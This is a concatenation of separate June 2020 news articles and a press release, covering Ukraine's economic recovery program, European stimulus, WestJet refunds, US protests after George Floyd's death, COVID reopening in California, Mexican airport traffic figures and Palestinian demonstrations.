"A government program had been developed, but no one expected a coronavirus. Therefore, he [PM Shmyhal] turned to people, saying: we have a coronavirus, quarantine measures, and the governments program should be changed due to COVID-19. We need to update it," Zelensky said during a trip to the Khmelnytsky region.

A weird situation, given that throughout the three months since Shmyhal Cabinet was appointed, the pandemic has only been gaining momentum in Ukraine, while the first steps to combat the novel disease had been taken back in February, by this government's predecessors.

In March, as the new prime minister was taking the helm, the economy was already struggling. After GDP growth in 4Q of 2019 slowed down to 1.5% compared to 2018, in January-February 2020, GDP fell by 0.2%, while the decline in industrial output that began last year reached 7.7% in March.

A few weeks of downtime further exacerbated the crisis, which led to the industrial output plunging by 16.2% in April, with unemployment affecting half a million people.

As a result, forecasts of Ukrainian and international experts on the fall in GDP in 2020 are in the range of 5 to 8%. But if the economy isn't revived in the near future, the decline may turn out to be even deeper.

"School essay"

In the conditions of an unfolding economic storm, the public and businesses logically expected from government some concrete and effective steps to save the economy and alleviate the burden of the crisis for citizens.

And all this should have been reflected in the Cabinet's program, which ministers began to prepare immediately upon taking office. However, the Cabinet made few meaningful steps to stimulate the economy amid the national quarantine. Legislators discussing this document compared the program with a "school essay." However, PM disagreed with such an assessment.

"The presentation we delivered is the ideological framework of our program, which includes an analysis of the current state of affairs in key sectors of the economy. At the same time, this ideological framework is already supported by proposals for regulatory changes within this program's framework. Support is also provided for all sectors of the economy, and most importantly, for small and medium-sized businesses," Shmyhal told the parliament meeting on Thursday.

The prime minister and his team foresaw such a critical attitude on the part of lawmakers, therefore, a few days prior to the vote, apparently, along with the president's office, a compromise decision was made  to return the action program for revision.

"Healthy economic nationalism"

A sneak peek into what the government's program will look like following the revision could be provided by another document  a strategy of economic incentives to overcome the consequences of COVID-19 that the government approved last week.

PM says the document was developed over six weeks involving dozens of think tanks, business associations and companies. "The strategy provides comprehensive responses to challenges. We decided that the coronacrisis is, among other things, our chance to pursue radical transformations, our chance to change approaches and our chance to start real transformations in the economy and country," said Shmyhal.

According to him, the strategy is designed for three years, while "healthy economic nationalism" and protection of domestic producers are the two ideas seen all across it.

The government expects that its implementation will bring the national economy into the recovery phase in the second half of this year. Minister for Development of Economy, Trade and Agriculture Ihor Petrashko pointed out that the strategy includes more than 200 specific measures and stands "on three pillars", which are access to finance, access to markets, and ensuring modernization and sustainable development.

"First of all, the task of the program and the directions that have been developed include ensuring the safe functioning of the economy, since the challenges posed by the coronavirus concern not only the economic development, but also its safe functioning," said the minister.

The government wants to engage in protectionism, that is, to protect manufacturers of domestic goods from foreign competitors. To this end, the Cabinet plans to actively conduct anti-dumping and protective investigations, as well as to limit "unfair and growing imports", applying trade protection tools.

To this end, authors propose to apply mechanisms of the World Trade Organization and international treaties. It will be interesting to observe how these ideas will be implemented in real life, taking into account the existing free trade zones with the European Union and several other countries.

Government plans

The Cabinet proposes in the coming years to implement the following incentives for the industry: introducing a moratorium on increasing tax rates, restoring timely automatic VAT refunds, reducing restrictions on imports of raw materials, and activating localization mechanisms for Ukrainian engineering products.

Similar steps for the agro-industrial complex should include introducing programs to create value-added goods, increasing efficiency of government subsidies, stimulating remote marketing of agricultural products, and establishing distribution channels for smaller farmers.

For the energy sector, the government plans to revise electricity tariffs for households and the so-called "green feed-in tariff", as well as establish a stimulating rental rate for hydrocarbon production within five years from the start of drilling.

They also seek to provide tax breaks, soft loans and financial support for the transport industry and infrastructure, establish a zero VAT rate on domestic transport, complete the unbundling of Ukrzaliznytsia railway operator, and reorganize the Administration of Seaports.

The government proposes to support businesses through the two lending programs ("5-7-9" and "New Money"), by providing state guarantees for loans. Besides, they want to give local budgets the opportunity to provide loan guarantees for entrepreneurs.

To conquer foreign markets, the Cabinet seeks to start issuing grants to exporters, launch an export credit agency, and strengthen lending to producers through the state-owned Ukreximbank.

More questions than answers

In expert circles, the anti-crisis strategy has received mixed reviews. According to Serhiy Fursa of the Dragon Capital Investment Company, the Cabinets intention to protect domestic producers could yield the opposite effect. "Program messages about economic nationalism are rather dangerous for the Ukrainian economy and may be dangerous to the result. Instead of giving a boost to economic recovery, it will slow down growth. This is an attempt to roll back reform, first of all, Prozorro [e-procurement platform], and an attempt to play games of protectionism, which always affects the economy," Fursa told UNIAN.

According to Dmytro Horiunov, senior economist at the Center for Economic Strategy, the strategy for economic recovery has more harmful or simply meaningless initiatives than useful ones.

"There are frankly lobbying proposals in the field of industry, transport, and environment. There's nothing or almost nothing there about privatization, competition, and law enforcement. Industry blocs are not too interconnected. There are empty initiatives like 'creating such and such a regulator' or 'drafting such and such a law' without describing the essence of changes, or there are proposals to do certain things that should be done anyway," he told UNIAN.

The expert noted that medium-term measures of the program are also a matter of concern because, despite the presence of blocs on small businesses, innovation, and creative industries, they, in fact, offer preservation of the existing model of the economy with the dominance of big capital.

At the same time, Horiunov said the program also had positive initiatives related to business deregulation.

"For example, it's the abolition of excessive reporting, replacement of state control with voluntary liability insurance or prevention of blocking of operations at a multidisciplinary enterprise in case if violations are detected on one type of activity," he said.

Executive Director at the Blazer International Foundation, Oleh Ustenko, in turn, pointed out that the strategy's main objective is to restore the national economy in the post-quarantine period to help it revive.

"The government and developers set the main task to mitigate COVID-19's negative impact on the economy of Ukraine, rather than that of the global crisis that affects us. From this perspective, I believe that the program corresponds to the tasks set," the expert said.

Time to act

According to Dmytro Horiunov, if today the goal is to restore the economy from the negative impact of quarantine, it is more logical to stimulate growth from below, that is, directly through people affected by restrictions.

"This will restore demand and automatically stimulate supply. As for fiscal incentives, they should be limited to easing fixed taxes and fees," the expert said. Also, according to him, the government needs to add measures to strengthen the fight against corruption and enhance antitrust regulation, as well as continue large-scale privatization, which, among other things, should be aimed at reducing the state's participation in the banking system.

According to Oleh Ustenko, the program should include actions that could deliver a quick and positive effect. First of all, it's about measures to attract capital to the country and preserve the investments that are already here, in Ukraine.

"It is necessary to make an inventory of those large investment projects that are already working in the country. They need help so that they are not put on pause. If we don't help those who are already investing in the country, there's a risk that the projects will be put on hold and that we won't see additional jobs. In the long run, we will not receive taxes to the revenue side of the state budget," the expert explained.

He also drew attention to the fact that in conditions of limited financial resources, it is necessary for Ukraine to concentrate state support on sectors that could have a multiplier effect.

In the coming weeks, we will be able to see if the government heard deputies, business CEOs, and experts and if they will be able to create a working mechanism for effective support of the economy to ensure its recovery.

But the main thing is to make sure that they finally start taking real steps to improve the situation because, in a crisis period, any delay could be deadly.

Dmytro Shvarts
Frankfurt: Europe, so often derided as lumbering and divided, seems to be finding its voice in the pandemic.

A powerful new dose of stimulus by the European Central Bank on Thursday, and a German emergency spending package that defied stereotypes of stingy Prussians, were the latest evidence that policymakers are responding to the pandemic with far more muscle than anyone would have predicted a few months ago.

The central bank announced it would nearly double a de facto money printing program to 1.35 trillion ($2.2 trillion) to ensure a steady flow of cheap credit to eurozone consumers and businesses. And the government of German Chancellor Angela Merkel, only a few months ago a fortress of fiscal conservatism, announced a package of tax cuts, aid to small business, cash payments to parents and other measures worth 130 billion  a move requiring substantial borrowing.

A pair of Pariscoot public hire electric scooters stand near the Eiffel Tower in Paris. Huge stimulus packages in Europe are likely to help countries recover from the coronavirus pandemic. Credit:Bloomberg

Those measures come a week after the European Commission unveiled a plan to raise 750 billion for pandemic recovery by selling bonds that would be backed by all 27 members of the European Union, a first for the bloc on such a large scale. Individual countries like France, which has announced a 45 billion-euro stimulus program, have also exceeded expectations.
WestJet Airlines Ltd. has quietly changed its refund policy to allow some customers whose flights were cancelled due to the pandemic to recoup their cash.

Hey there, time traveller!

This article was published 5/6/2020 (594 days ago), so information in it may no longer be current.

WestJet Boeing 737 Max aircraft are shown at the airline's facilities in Calgary, Alta., Tuesday, May 7, 2019. WestJet Airlines Ltd. has quietly changed its refund policy to allow some customers whose flights were cancelled due to the pandemic to reclaim their cash. THE CANADIAN PRESS/Jeff McIntosh

WestJet Airlines Ltd. has quietly changed its refund policy to allow some customers whose flights were cancelled due to the pandemic to recoup their cash.

The move appears to make WestJet the first major Canadian carrier to offer refunds rather than credit to passengers whose trips were called off due to the COVID-19 crisis.

The pivot follows months of backlash as consumer advocates and thousands of passengers continue to demand their money back for services paid for but never rendered.

Three petitions  two were presented to the House of Commons over the past month  with more than 110,000 signatures call for full refunds before any financial aid is handed out to airlines.

WestJet's refund offer, spelled out in a document sent to travel agents and obtained by The Canadian Press, applies to flights that include a U.S. or U.K. city as the destination or origin.

The company said in an email it is reaching out to customers who have already accepted travel credit to alert them to the new option, which applies to all fares and classes but not vacation packages.

The policy does not include flights within Canada or to continental Europe, Mexico or the Caribbean.

"If your client chose to voluntarily cancel their booking, they are not eligible for a refund to original form of payment," with the exception of certain special fares, the memo states.

Transportation authorities in the United States and European Union have required airlines, including foreign ones, to offer refunds for flights cancelled as a result of the pandemic, which has shuttered borders and grounded fleets.

Unlike its American and many European counterparts, Ottawa has also held off on handing out grants or loans particular to the airline sector, turning instead to a wage subsidy accessible to most employers and loans starting at $60 million for large companies.

Nonetheless, a group of advocates are demanding the government take "immediate action" and calling Canada's relative laxity "unacceptable."

"The rights of these consumers to a refund and to fair treatment should not be trumped by the private interests of large corporations," the group said in a public letter Thursday. "It is not the consumers responsibility to prop up businesses."

The six associations behind the statement said imposing travel vouchers instead of cash refunds contravenes federal law as well as provincial consumer protection legislation.

"Its quite disturbing," said air passenger rights advocate Gabor Lukacs, calling customers' airfares "effectively an interest-free loan from the public."

"For heavens sake, people need the money now for buying groceries, for paying bills, for paying taxes."

WestJet said its previous non-refundable cancellation policy "was what we were able to offer at that time...due to the ever-changing landscape we are faced with.

"We are carefully monitoring the regulatory frameworks in all its operated jurisdictions," it said.

Travel agencies see WestJet's move as a net positive, despite its limited scope.

"Its definitely great news. Its different," said Pam deHaan, director of marketing for Hamilton-based Travel Central.

"We as a travel agency have kind of been stuck in the middle with consumers and clients wanting to get refunds, and we dont have their money but they dont understand that, and if we can well refund them."

Customers who want their money back will have to reach out to the agency, rather than receiving funds automatically, she said.

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The policy change memo landed in her inbox on June 1, she said.

The refunds apply to U.S. and U.K. flights that were scheduled between March 1 and June 30, with a processing time of four to six weeks, according to the document.

Last month, Air Canada revised its cancellation policy amid mounting customer frustration, offering travellers the option of a voucher with no expiration date or Aeroplan points if the airline cancels their flight due to the virus.

The new policy  the previous one capped travel vouchers at 24 months, with no Aeroplan option  applies to non-refundable tickets issued up to the end of June, with an original travel date between March 1 and June 30.

Prime Minister Justin Trudeau said last month the government needs to have "some very careful discussions with airlines" as well as Canadians to maintain a balance where travellers are "treated fairly" and the sector stays intact.

This report by The Canadian Press was first published June 5, 2020.
TCN News

In the wake of George Floyds murder in US, renowned human rights activist Martin Macwan from India has written an open letter to US President Donald Trump questioning the state-sponsored selective persecution of minorities in the US.

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Recipient of the prestigious Robert F Kennedy Human Rights Award, Macwan has appealed for signatures from concerned citizens, urging them to participate in lamp lighting in George Floyds memory on June 10 at 7 PM, the day when his mortal remains would be laid to rest.

In his letter, he discussed the governments handling of President Trumps visit to India in March. He reflected that such preparations were being done when the country was clueless about its unpreparedness of the overshadowing threat of COVID-19, and other consequential issues like economic fallout and migrant crisis. Addressing the President as an honoured guest of India, he reminded that civic authorities of Ahmedabad had built a wall opposite Gandhi Ashram to hide the life of slum dwellers from the guests eyes. He recalled that earlier too, during visits of international dignitaries similar actions were taken to almost make the weaker sections invisible to common eyes.

Macwan questioned why the expenditure or funding on such grand welcomes was never made public. He implied that all such instances to reduce the marginalized communities to non-existent in society was deliberate and the same as in the US. In just two months from his visit when the lockdown was in place several thousand people lost their jobs, employment and accommodation while these unpaid wagers undertook a journey to walk hundreds of kilometres on feet or on broken bicycles to reach their homes in other states because there were no buses or trains for them he stated. When arrangements of transport were made during his visit, the absence of it during the migrant crisis speaks volumes of authorities negligence, he noted.

As Dalits, we can feel suffocation in India that the Blacks and the Colored people do in the US, as expressed in the final words of George Floyd  We cant breathe, Macwan said. Further, he cited recent reports on violence against Dalits, Adivasis, highlighting that the arbitrary arrest of Prof Anand Teltumbde amplified the fight against injustice as it is the same everywhere. In India, the recent gags on freedom of speech of rights activists under the draconian Unlawful Activities (Prevention) Act (UAPA) and the continued suppression of minorities in the US were all examples of authorities supporting the selective boycott of the marginalized. He remarked that Trump himself had constantly been using racist remarks and communal slurs during his campaign, and even afterwards he did not refrain from doing so.

Macwan expressed solidarity with the protesters who protest the dehumanizing conditions of the fellow citizens and segregation, and reiterated that there have been thousands of Indians who have been the victims of racial abuse in the US.

Towards the end of the letter, he extended support to minorities while simultaneously urging people to think as to why so many innocent people are pushed behind the bars in the US and India.
After Yuba and Sutter counties moved to reopen dine-in restaurants, hair salons, gyms and other "high-risk" businesses with modifications on May 4, California Governor Gavin Newsom strongly condemned the bi-county health jurisdiction for defying the statewide shelter-in-place order.

Theyre making a big mistake," he said during a press conference. "Theyre putting their public at risk. Theyre putting our progress at risk."

It's been a full month since the revised order took effect, and the counties would certainly push back on the idea that reopening was a "big mistake."

The health officer for the two counties, Dr. Ngoc-Phuong Luu, crafted a health order that allowed restaurants, personal care services, gyms, libraries, shopping malls and several other businesses that fall into "Stage 3" of the state's reopening plan to reopen on May 4  so long as businesses implement safety measures such as mask mandates and six feet of physical distancing between customers. Bars, nightclubs, places of worship and other sites for large gatherings remained closed.

The two rural Northern California counties have a combined population of close to 175,000 and recorded 50 coronavirus cases and three deaths on May 1. As of June 4, the case total has increased to 79, but the death toll remains three. There are currently two individuals hospitalized due to COVID-19 in the two counties at this time.

Russ Brown, a spokesperson for Yuba County, told SFGATE the health department believes the case increases are mostly due to increased testing, and contact tracers have worked to prevent further spread even as many sectors of the local economy are online.

"As far as cases go, on the exact same day our health order was issued, a new testing site came into the area so we always expected to capture more cases," he said. "That's exactly what happened, so nothing unexpected."

There have been new infections since the county reopened, but Brown stated that contract tracing has found that almost all of the new cases are a result of close at-home contact with infected individuals, as opposed to transmission at restaurants, gyms, salons and other reopened businesses.

"Nearly all of new cases are coming from known cases, either household members, extended family, or people who made visits to the infected person," Brown said. "That seems to be the pattern so far."

Brown stated that individuals are taking precautions to wear masks and keep a requisite distance from individuals in public, but can often let their guard down in private settings with family and friends.

"Being in close settings where you dont have safeguards because you're around people you know  that really opens it up to risks and thats what we're seeing here," he said.

The bi-county health jurisdiction has a very low population density (140 residents per square mile)  so the fact that an accelerated reopening worked in Yuba and Sutter counties does not necessarily mean an accelerated opening is warranted in San Francisco (18,838 residents pre square mile).

"We're seeing ongoing cases crop up now and then, but the largest concern our health officer had was large group gatherings," Brown said. "The governors office put out guidance to allow faith gatherings with modifications, so well see how that plays out."

Yuba-Sutter counties reopened places of worship last week, and Brown says the health department does not anticipate seeing the impact of that modification for another week or two. The two counties have also seen protests against police brutality following the death of George Floyd, but Brown said the crowds are "very small" compared to the crowds seen in San Francisco and Oakland.

In any case, dire predictions about the fate of the county following the May 4 order have not come to pass.

"The virus is still in community, but we're fortunate to see the expansion is still very slow," Brown said. "Even with reopening."

MORE CORONAVIRUS COVERAGE:

Sign up for 'The Daily' newsletter for the latest on coronavirus here.

Eric Ting is an SFGATE digital reporter. Email: eric.ting@sfgate.com | Twitter:@_ericting
Staten Island, N.Y.  The governor called on district attorneys across New York state to hold those who are not peacefully protesting criminally liable.

Gov. Andrew Cuomo has repeatedly said that those who are looting and rioting are taking advantage of George Floyds murder and using it for their own gain.

Floyd, a black man, died in police custody in Minneapolis last Monday after a white police officer kneeled on his neck for nearly nine minutes. The officer, Derek Chauvin, has since been charged along with three other officers who were present at the scene.

Floyds death sparked protests across the city, state and nation, that included instances of violence and civil unrest.

The civil unrest caused Cuomo and Mayor Bill de Blasio to set a curfew for New York City. On Monday night the curfew began at 11 p.m. but was moved to 8 p.m. the following day. It was then extended through Sunday, June 7.

Despite the curfew, protestors still remained on the streets throughout the city and as night fell. Looters and those looking to cause violence and destruction took to the streets.

Charge people criminally and hold them liable, Cuomo said on Thursday.

People around the state are looting, which is a criminal activity, because they know that police departments are busy with protestors and theyve using it as an opportunity to break the law, he said.

You look at these videos; it would be nonsensical if the police were arresting looters and then they were returned to the street to loot again. District attorneys  charge the crimes, he said.

SETTING BAIL FOR LOOTERS

Burglary 2 could be burglary with a dangerous instrument like a rock or a brick. If you have looters who are breaking windows and stealing, these people should be charged for the crimes they are committing and bail should be set, he went on to say.

Secretary to Gov. Cuomo Melissa DeRosa added: I understand some of the [district attorneys] may not feel comfortable charging that as Burglary 2 because traditionally they charge that as burglary 3 -- but they have the tools available to them and I think what the governor is saying is to use them; they are not using the tools available to them.

District Attorney Michael McMahon said there have been no protest-related arrests on Staten Island and things have remained peaceful without the use of unnecessary violence.

McMahon thanked the boroughs precincts for their commitment to safety and also allowing protestors to assemble.

It is my sincere hope that Staten Island continues to set the example for how communities and law enforcement can work together toward a common goal while remaining peaceful, McMahon said.

Adding: At the same time, my office remains ready to hold bad actors accountable and will not tolerate violent acts against our neighbors and local businesses. While I have long supported ending cash bail, I firmly believe that we need judicial discretion in order to asses threat to public safety and risk of re-offense when deciding to hold defendants."

"That is why I continue to call on the Legislature to change bail reform laws, especially in times like these. Simply charging second-degree burglary, as the Governor suggests, is not a fail-safe for our current situation. Rather, I strongly agree with Manhattan DA Cy Vances recent call for the Governor to use his emergency powers so that a judge can use discretion to set bail in appropriate situations in order to prevent further violent acts from being committed by these same individuals.

Individuals who attack police officers must also be held accountable for their criminal actions, Cuomo said.

That is intolerable; the police are doing an impossible job trying to deal with the protestors and to stop looting and keep themselves safe because they want to go home to their families. There is no tolerance in any part of this state for violence against police officers, Cuomo said.

MALLIOTAKIS CALLS FOR QUALIFYING OFFENSES ADDED TO BAIL ELIGIBILITY

Assemblywoman Nicole Malliotakis is calling for additions to the bail law that took effect on April 1 that would include additional qualifying offenses for bail eligibility at a judges discretion.

Also calling for the addition is Michael Tannousis, who Malliotakis is supporting to be her successor should she beat Rep. Max Rose for the boroughs congressional seat.

Rioting, arson, assault, burglary, robbery, grand larceny, criminal mischief, criminal anarchy, menacing and other felonies are among the additions the two hope to see with other fixes that will take effect on July 1.

"We restored judicial discretion for a number of serious crimes, we fixed the discovery process for our prosecutors and better protect witnesses, and we ensured that those who are given a second chance and commit another crime can be held. While I am proud of these fixes, we can't stop there. The events of this week proved the need for further corrections. We have seen police cars put on fire, churches vandalized, the businesses of hardworking citizens destroyed, and police officers attacked, Malliotakis said.

Michael Tannousis said, "This issue is one of the reasons I decided to run to succeed Assemblywoman Malliotakis last year. As a prosecutor, I knew that policies like the so-called bail reforms would undermine our police and make our communities less safe, and that is exactly what happened.
GUADALAJARA, Mexico, June 04, 2020 (GLOBE NEWSWIRE) -- Grupo Aeroportuario del Pacifico, S.A.B. de C.V., (NYSE: PAC; BMV: GAP) (the Company or GAP) announced preliminary terminal passenger traffic figures for the month of May 2020, compared to traffic figures for May 2019.



For May 2020, as a result of the effects of the COVID-19 pandemic, total terminal passengers at GAPs 14 airports decreased by 90.7%, compared to the same period of the previous year, in line with expectations. Domestic passenger traffic decreased by 88.3%, while international passenger traffic decreased by 94.4%.

In terms of the operation of our airports in Mexico, the Mexican government continues its policy of not issuing any travel restrictions. However, quarantine levels remained high during the month of May, which resulted in a large volume of domestic and international flight cancellations. Quarantine measures were lifted on June 1, 2020, whereby essential economic activity will be allowed to return in phases. In Jamaica, incoming international flights were cancelled, with the exception of cargo transportation. These flight restrictions were lifted on May 31, 2020.

Domestic Terminal Passengers  13 airports (in thousands):

Airport May-19 May-20 % Change Jan-May 19 Jan-May 20 % Change Guadalajara 922.0 93.6 -89.8 % 4,205.5 2,514.0 -40.2 % Tijuana* 528.5 107.9 -79.6 % 2,397.0 1,636.8 -31.7 % Puerto Vallarta 157.8 6.8 -95.7 % 660.6 380.9 -42.3 % Los Cabos 160.8 17.7 -89.0 % 717.5 442.5 -38.3 % Montego Bay 0.9 0.0 -100.0 % 3.5 1.0 -72.6 % Guanajuato 185.6 11.2 -94.0 % 818.0 446.6 -45.4 % Hermosillo 164.9 13.0 -92.1 % 705.8 422.5 -40.1 % Mexicali 106.3 11.4 -89.3 % 473.5 300.7 -36.5 % Morelia 39.2 12.1 -69.0 % 185.8 145.7 -21.6 % La Paz 84.0 6.5 -92.2 % 379.4 228.0 -39.9 % Aguascalientes 59.5 4.2 -93.0 % 257.7 144.8 -43.8 % Los Mochis 33.8 2.1 -93.7 % 155.4 92.7 -40.4 % Manzanillo 8.8 0.6 -93.3 % 41.0 24.1 -41.3 % Total 2,452.0 287.2 -88.3 % 11,000.7 6,780.1 -38.4 %

International Terminal Passengers  13 airports (in thousands):



Airport May-19 May-20 % Change Jan-May 19 Jan-May 20 % Change Guadalajara 368.3 30.7 -91.7 % 1,696.0 1,017.4 -40.0 % Tijuana* 237.1 36.6 -84.6 % 1,133.9 742.3 -34.5 % Puerto Vallarta 204.5 5.7 -97.2 % 1,771.2 1,096.4 -38.1 % Los Cabos 299.9 3.1 -99.0 % 1,702.0 952.5 -44.0 % Montego Bay 365.1 0.6 -99.8 % 2,125.2 1,134.2 -46.6 % Guanajuato 56.3 5.1 -91.0 % 285.3 157.3 -44.8 % Hermosillo 5.6 0.4 -93.0 % 28.2 19.3 -31.6 % Mexicali 0.6 0.0 -98.2 % 2.6 1.3 -52.2 % Morelia 34.7 1.9 -94.4 % 169.6 105.0 -38.1 % La Paz 1.1 0.1 -94.6 % 5.7 3.5 -39.5 % Aguascalientes 18.2 2.1 -88.3 % 79.6 52.0 -34.7 % Los Mochis 0.6 0.0 -96.1 % 2.8 1.3 -53.7 % Manzanillo 3.6 0.0 -99.2 % 49.0 28.7 -41.4 % Total 1,595.5 86.4 -94.6 % 9,051.1 5,311.1 -41.3 %

Total Terminal Passengers  13 airports (in thousands):

Story continues

Airport May-19 May-20 % Change Jan-May 19 Jan-May 20 % Change Guadalajara 1,290.2 124.3 -90.4 % 5,901.5 3,531.4 -40.2 % Tijuana* 765.6 144.6 -81.1 % 3,530.8 2,379.0 -32.6 % Puerto Vallarta 362.2 12.6 -96.5 % 2,431.8 1,477.3 -39.3 % Los Cabos 460.8 20.8 -95.5 % 2,419.5 1,395.0 -42.3 % Montego Bay 365.9 0.6 -99.8 % 2,128.7 1,135.1 -46.7 % Guanajuato 241.9 16.2 -93.3 % 1,103.3 603.9 -45.3 % Hermosillo 170.5 13.4 -92.2 % 734.1 441.8 -39.8 % Mexicali 107.0 11.4 -89.4 % 476.1 302.0 -36.6 % Morelia 73.9 14.1 -80.9 % 355.4 250.6 -29.5 % La Paz 85.1 6.6 -92.2 % 385.1 231.5 -39.9 % Aguascalientes 77.7 6.3 -91.9 % 337.4 196.8 -41.7 % Los Mochis 34.3 2.2 -93.7 % 158.2 94.0 -40.6 % Manzanillo 12.3 0.6 -95.0 % 90.0 52.8 -41.3 % Total 4,047.5 373.6 -90.8 % 20,051.8 12,091.3 -39.7 %

*Passengers in Tijuana who use CBX in both directions are classified as international.

CBX Users:

Airport May-19 May-20 % Change Jan-May 19 Jan-May 20 % Change Tijuana 232.9 36.5 -84.3 % 1,115.0 735.2 -34.1 %

Kingston Airport (in thousands):

Passengers May-19 May-20 % Change Jan-May 19 Jan-May 20 % Change Domestic N/A 0.0 N/A N/A 1.3 N/A International N/A 3.6 N/A N/A 360.8 N/A Total N/A 3.6 N/A N/A 362.1 N/A

Total Passengers  14 airports (in thousands):



Passengers May-19 May-20 % Change Jan-May 19 Jan-May 20 % Change Domestic 2,452.0 287.2 -88.3 % 11,000.7 6,781.4 -38.4 % International 1,595.5 90.0 -94.4 % 9,051.1 5,671.9 -37.3 % Total 4,047.5 377.2 -90.7 % 20,051.8 12,453.3 -37.9 %

Highlights for the Period:

Seats and Load Factors : In May 2020, the number of seats available declined by 70.2% compared to May 2019; while load factors for the month decreased by 59.6%, from 86.1% in May 2019 to 26.5% in May 2020.



Kingston: The Company assumed control of the Kingston Airport on October 10, 2019. Historical figures are presented for comparison purposes, for a total of 3.6 thousand passengers at May 2020, a 97.6% decline versus May 2019.

Company Description

Grupo Aeroportuario del Pacifico, S.A.B. de C.V. (GAP) operates 12 airports throughout Mexicos Pacific region, including the major cities of Guadalajara and Tijuana, the four tourist destinations of Puerto Vallarta, Los Cabos, La Paz and Manzanillo, and six other mid-sized cities: Hermosillo, Guanajuato, Morelia, Aguascalientes, Mexicali and Los Mochis. In February 2006, GAPs shares were listed on the New York Stock Exchange under the ticker symbol PAC and on the Mexican Stock Exchange under the ticker symbol GAP. In April 2015, GAP acquired 100% of Desarrollo de Concesiones Aeroportuarias, S.L., which owns a majority stake in MBJ Airports Limited, a company operating Sangster International Airport in Montego Bay, Jamaica. In October 2018, GAP entered into a concession agreement for the operation of the Norman Manley International Airport in Kingston, Jamaica. In October 2018, GAP entered into a concession agreement for the operation of the Norman Manley International Airport in Kingston, Jamaica and took control of the operation in October 2019.

This press release may contain forward-looking statements. These statements are statements that are not historical facts, and are based on managements current view and estimates of future economic circumstances, industry conditions, company performance and financial results. The words anticipates, believes, estimates, expects, plans and similar expressions, as they relate to the company, are intended to identify forward-looking statements. Statements regarding the declaration or payment of dividends, the implementation of principal operating and financing strategies and capital expenditure plans, the direction of future operations and the factors or trends affecting financial condition, liquidity or results of operations are examples of forward-looking statements. Such statements reflect the current views of management and are subject to a number of risks and uncertainties. There is no guarantee that the expected events, trends or results will actually occur. The statements are based on many assumptions and factors, including general economic and market conditions, industry conditions, and operating factors. Any changes in such assumptions or factors could cause actual results to differ materially from current expectations.

In accordance with Section 806 of the Sarbanes-Oxley Act of 2002 and article 42 of the Ley del Mercado de Valores, GAP has implemented a whistleblower program, which allows complainants to anonymously and confidentially report suspected activities that may involve criminal conduct or violations. The telephone number in Mexico, facilitated by a third party that is in charge of collecting these complaints, is 01 800 563 00 47. The web site is www.lineadedenuncia.com/gap . GAPs Audit Committee will be notified of all complaints for immediate investigation.
While the Instagram account CTAgainstBrutality has been circulating information about a West Haven protest set for Saturday to support the Black Lives Matter cause, the identity of its organizers remain unclear.

A post by the account said it is run by a group of students from across Connecticut, but they declined to identify themselves for our safety, according to a post on the account, which first became active a week ago.

The group has no official affiliation with Black Lives Matter or People Against Police Brutality, a spokesperson confirmed. The spokesperson, who declined to give a name, called a reporter in response to an email sent to the address provided on the Instagram account.

About a dozen Connecticut high school students recently created the organization, Connecticut Against Brutality, to raise awareness about local protests against police misconduct, according to the caller who identified herself as a member.

Black Lives Matter New Haven did not know the West Haven protest organizers.

We are not apart of that/ nor know the people behind that demonstration set for West Haven, the organizations account wrote on Facebook in response to a question from a reporter. Any credible organization will have their name attached to it.

An individual spokesperson for BLM New Haven could not be reached for comment.

Connecticut Against Brutality has been in contact with the city and Police Department, the groups anonymous spokesperson said, adding that parents will help supervise and individuals who are not part of their group will help lead the protest.

We dont feel comfortable sharing our identities, given the fact that we are minors, she said.

While the organizers had been in touch with the city, West Haven Mayor Nancy Rossi did not know whether they were students, she said. Police spokesman Sgt. Charles Young declined to comment on the groups identity.

Organizers called the mayors office about getting a permit for the protest, according to Rossi, who said her staff referred them to the Police Department. Police did not respond to an inquiry about the permit.

In a statement on its Facebook page, the department emphasized it is working to ensure demonstrators safety.

In light of the upcoming protest, the West Haven Police Departments main role is to ensure the safety of the protesters and the general public during this event, the post said. We stand in solidarity with the community and support the protesters right to a peaceful assembly.

The statement also condemned the killing of George Floyd.

Last week an extremely troubling and disturbing video was released that depicted the actions of several Minneapolis police officers that resulted in the death of George Floyd, the post said. Those officers actions, individually and collectively, were reprehensible and demonstrated a level of illegality, inhumanity and depravity that is unacceptable on any level.

Connecticut Against Brutality scheduled the protest for 1 p.m. Saturday at the West Haven Green, according to its Instagram account.

Demonstrators will eventally walk to the Police Department, a post on the account says, estimating that the walk will begin around 2:30 p.m.

meghan.friedmann@hearstmediact.com
Source: Xinhua| 2020-06-06 01:09:03|Editor: huaxia

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RAMALLAH, June 5 (Xinhua) -- The Palestinians organized on Friday mass demonstrations in the Palestinian towns and regions to mark 53 years of the Israeli occupation of the Palestinian territories.

Hundreds of demonstrators joined a central rally organized by Palestinian President Mahmoud Abbas' Fatah party and other factions in the southern West Bank city of Hebron.

Abbas Zaki, a member of the Fatah Central Committee, told the crowd that the Palestinian leadership's decision to end all agreements and understandings with Israel "is serious."

"The decision was a serious response to the annexation plan," said Zaki, accusing the United States of being unjust toward the Palestinian people by backing Israel's annexation plan.

Similar protests took place in other towns and villages in the West Bank, some of which even escalated into violent clashes with the Israeli army.

Medical sources said dozens of Palestinians were injured by the Israeli soldiers' rubber bullets and tear gas in the clashes in the villages in the suburbs of Ramallah and in the west of the northern West Bank city of Nablus.

One Palestinian demonstrator was shot in his head by a rubber-coated metal bullet, while the other was shot in his chest, they said.

Dozens suffered suffocation after inhaling tear gas, the sources added.

Meanwhile, the Palestine Liberation Organization (PLO) called on the international community to turn its position against the Israeli annexation plan from words into deeds.

Saeb Erekat, secretary general of the PLO Executive Committee, said in a press statement that the international community should hold Israel accountable for its crimes.

He called on the international community to start practical steps toward recognizing the establishment of an independent Palestinian state on the territories Israel occupied on June 5, 1967.

Erekat accused Israel of allying itself with U.S. President Donald Trump to eliminate the Palestinian legitimate rights by declaring a plan to annex large areas in the West Bank.

"Israel is the one that started to annul the bilateral agreements by imposing facts on the ground through occupation," he said.

In the Gaza Strip, Hamas, which has been ruling Gaza since 2007, said in a press statement that the Israeli annexation plan "will never pass."

"All the attempts of the United States and Israel to take Jerusalem from the Palestinians, the Arabs and Muslims, as well as their attempts to uproot the Palestinian identity, will not succeed at all," the statement noted. Enditem
Kabul, June 5 : The Taliban has carried out an average of 30 attacks on the Afghan security forces each day after the Eid-ul-Fitr ceasefire, sources within the Afghan government said.

The sources said on Thursday that the Afghan forces also suffered casualties as a result of these attacks, reports TOLO News.

Violence has sky-rocketed following the US-Taliban agreement signed in late February in Doha, but in an unexpected move, the Taliban on May 22 had announced the three-day ceasefire.

